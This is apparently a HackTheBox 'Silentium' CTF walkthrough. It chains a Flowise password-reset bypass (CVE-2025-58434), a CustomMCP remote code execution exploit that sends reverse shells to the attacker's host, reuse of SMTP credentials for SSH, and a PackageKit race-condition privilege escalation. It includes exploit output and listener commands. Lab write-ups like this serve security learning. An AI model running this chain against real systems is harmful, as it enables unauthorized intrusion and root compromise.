Silentium is a HackTheBox Easy difficulty machine that hosts a Flowise AI staging site that is vulnerable to multiple exploits. Initial foothold involves exploiting CVE-2025-58434 to bypass authentication on a user account, followed by leveraging CVE-2025-59528 for remote code execution to gain a container root shell. After extracting hardcoded SMTP credentials to SSH into the host as the user, privilege escalation to root is achieved by exploiting a PackageKit TOCTOU race condition (CVE-2026-41651).
1. Initial Enumeration and Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O silentium.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-05 20:39 -0400 Nmap scan report for silentium.htb (10.129.245.103) Host is up (0.50s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) |_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Silentium | Institutional Capital & Lending Solutions |_http-server-header: nginx/1.24.0 (Ubuntu) Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.47 seconds
Based on the scan results, there are only two ports open on the target machine.
- Port 80 runs a custom website on an Nginx 1.24.0 server.
- Port 22 runs the SSH service (OpenSSH 9.6p1)
1.1 Directory Enumeration
The website did not provide much useful information. It seemed like a static website.
Next, I used gobuster to enumerate and find out if there are any hidden directories or files. But the scan results did not find any hidden directories or files.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://silentium.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] Exclude Length: 8753 [+] User Agent: gobuster/3.8.2 [+] Extensions: php,md,txt,html [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== assets (Status: 301) [Size: 178] [--> http://silentium.htb/assets/]
1.2 Vhost Enumeration
Since I was unable to find any hidden files or directories from the above steps, I decided to run a vhost scan to see if there are any virtual hosts available.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://silentium.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== staging.silentium.htb Status: 200 [Size: 3142]
Virtual host scan was successful, and I was able to find staging.silentium.htb. After updating the hosts file, I accessed the staging site url through the browser.
1.3 Application Identification
I was able to see from the staging site title tag that the staging site was running a Flowise application.
The staging site contained a login page, a forgot password page and a reset password page.
Looking at the password reset form, in theory, I should be able to reset a user's password if I can get my hands on a user's email and a reset token.
2. Authentication Bypass & Initial Foothold
My first instinct was to run a directory scan using gobuster dir -u staging.silentium.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --exclude-length 3142 to see if there are any hidden files or directories on the staging site. But I was unable to find any hidden directories or files.
Since none of the scans provided any useful information, I decided to search Google for "Flowise vulnerabilities". This search resulted in multiple known vulnerabilities.
- CVE-2025-59528 (Critical RCE)
- CVE-2026-40933 (RCE / Command Injection)
- CVE-2026-41271 & CVE-2026-31829 (SSRF)
- CVE-2025-58434 (Authentication Bypass)
- CVE-2025-61913 (File System Access)
- CSV Agent Prompt Injection (GHSA-3hjv-c53m-58jj)
2.1 User Enumeration
Most of the exploits needed a user email and password but I was unable to find any.
Then I remembered that the main website contains three employee names.
I decided to try to enumerate the emails using the error messages either from the login form or the reset password form.
The login form error message was vague, and I was unable to confirm the existence of the email properly, but using the forgot password form, I was able to confirm the existence of the ben@silentium.htb email address.
2.2 Authentication Bypass (CVE-2025-58434)
Since I was able to enumerate a viable email address, I decided to use CVE-2025-58434 Flowise < 3.0.5 - Missing Authentication for Critical Function to reset ben@silentium.htb password.
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0
[x] Password changedI was able to reset the ben@silentium.htb password and log in to the admin panel. After logging in, I was able to confirm that the Flowise version used is 3.0.5.
2.3 Initial Foothold (CVE-2025-59528)
While searching for Flowise vulnerabilities, I was able to find Flowise 3.0.4 - Remote Code Execution (RCE) exploit in ExploitDB.
I was able to find a working exploit and a very good explanation of the vulnerability in CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution.
Running this exploit, I was able to get an initial foothold on the target machine.
_____ _ _______ ___ ___ ___ ___ _____ ___ ___ ___ ___
/ ____| | | | ___| |__ \ / _ \__ \| __| | ____/ _ \| __|__ \( _ )
| | | | | | _| ______ ) | | | | ) |__ \ _____|__ \| (_) |__ \ / / _ \
| | | |_| | |_ |______/ /| |_| |/ / ___) |_____|__) \\__, |___) / /| (_) |
\____| \_/ |_____| |_| \___/|___|____/ |____/ /_/|____/_/ \___/
FlowiseAI CustomMCP Node — Remote Code Execution (CVE-2025-59528)
Discovered by Kim SooHyun (@im-soohyun)
[*] Target: http://staging.silentium.htb
[*] Mode: revshell
[*] Auth: JWT login (ben@silentium.htb)
[+] Authentication successful
[*] Auto mode — trying bash, nc, and python reverse shells
[!] Start your listener first: nc -lvnp 4444
[*] Sending bash reverse shell → 10.10.16.36:4444
Delivered (HTTP 200)
[*] Sending nc reverse shell → 10.10.16.36:4444
Delivered (HTTP 200)
[*] Sending python reverse shell → 10.10.16.36:4444
Delivered (HTTP 200)
[*] All payloads sent. Check your listener!
[*] exec() is async — the server responds immediately even on success.But it seems like I have landed inside a Docker container.
└─$ nc -nvlp 4444 listening on [any] 4444 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.245.103] 38943 /bin/sh: can't access tty; job control turned off / # whoami root / # pwd / / # cd /root ~ # ls ~ # pwd /root ~ # cd /home /home # ls node /home # cd node / # id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) / # ls -la /.dockerenv -rwxr-xr-x 1 root root 0 Apr 8 15:14 /.dockerenv
3. Host Pivoting & User Flag
Even though I am the root user inside the Docker container, the container is fairly restricted.
I downloaded LinPeas to enumerate the container, and it flagged some hardcoded credentials for an SMTP Service.
Since humans are famous for credential reuse, I tried to use these credentials to SSH into the target machine as ben@silentium.htb. It allowed me in, and I was able to retrieve the user flag from ben's home directory.
The authenticity of host 'silentium.htb (10.129.245.103)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:5: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'silentium.htb' (ED25519) to the list of known hosts.
ben@silentium.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Apr 8 19:12:55 2026 from 10.10.14.5
ben@silentium:~$ cat user.txt 4. Privilege Escalation & Root Flag
I downloaded LinPeas to enumerate the target machine, and it flagged 4 possible vulnerabilities and 5 ports that are listening only to localhost.
Furthermore, LinPeas flagged another possible privilege escalation option through CVE-2026-41651 (Pack2TheRoot). I decided to try this path first because kernel exploits flagged by LinPeas can sometimes already be patched, but LinPeas does not validate whether they are patched or not.
I was able to find a POC in Pack2TheRoot — CVE-2026-41651
ben@silentium:~$ ./cve-2026-41651 ═══════════════════════════════════════════════════ CVE-2026-41651 — PackageKit TOCTOU LPE ═══════════════════════════════════════════════════ [*] Building packages (pure C)... [+] dummy : /tmp/.pk-dummy-89952.deb [+] payload : /tmp/.pk-payload-89952.deb [*] Transaction : /2_bbdbbbdd [*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async] [*] Step 2 : InstallFiles(NONE=0x0, payload) [async] [*] Waiting for dispatch (30 s max)... [!] PK error 48: Failed to obtain authentication. [*] Finished (exit=2, 0 ms) [*] Loop ran for 68 ms [*] Polling for payload (120 s max)... [*] t+1s: payload=exists dpkg_lock=free suid=not yet [*] t+2s: payload=exists dpkg_lock=free suid=not yet [*] t+3s: payload=exists dpkg_lock=free suid=FOUND [+] SUCCESS — SUID bash at t+2000ms uid=1000(ben) gid=1000(ben) euid=0(root) groups=1000(ben),100(users) .suid_bash: cannot set terminal process group (-1): Inappropriate ioctl for device .suid_bash: no job control in this shell .suid_bash-5.2# whoami root .suid_bash-5.2# cat /root/root.txt
I was able to escalate privileges to root and retrieve the root flag by running the exploit on the target machine.
Congrats! We found both flags!
HTB Machine Completion
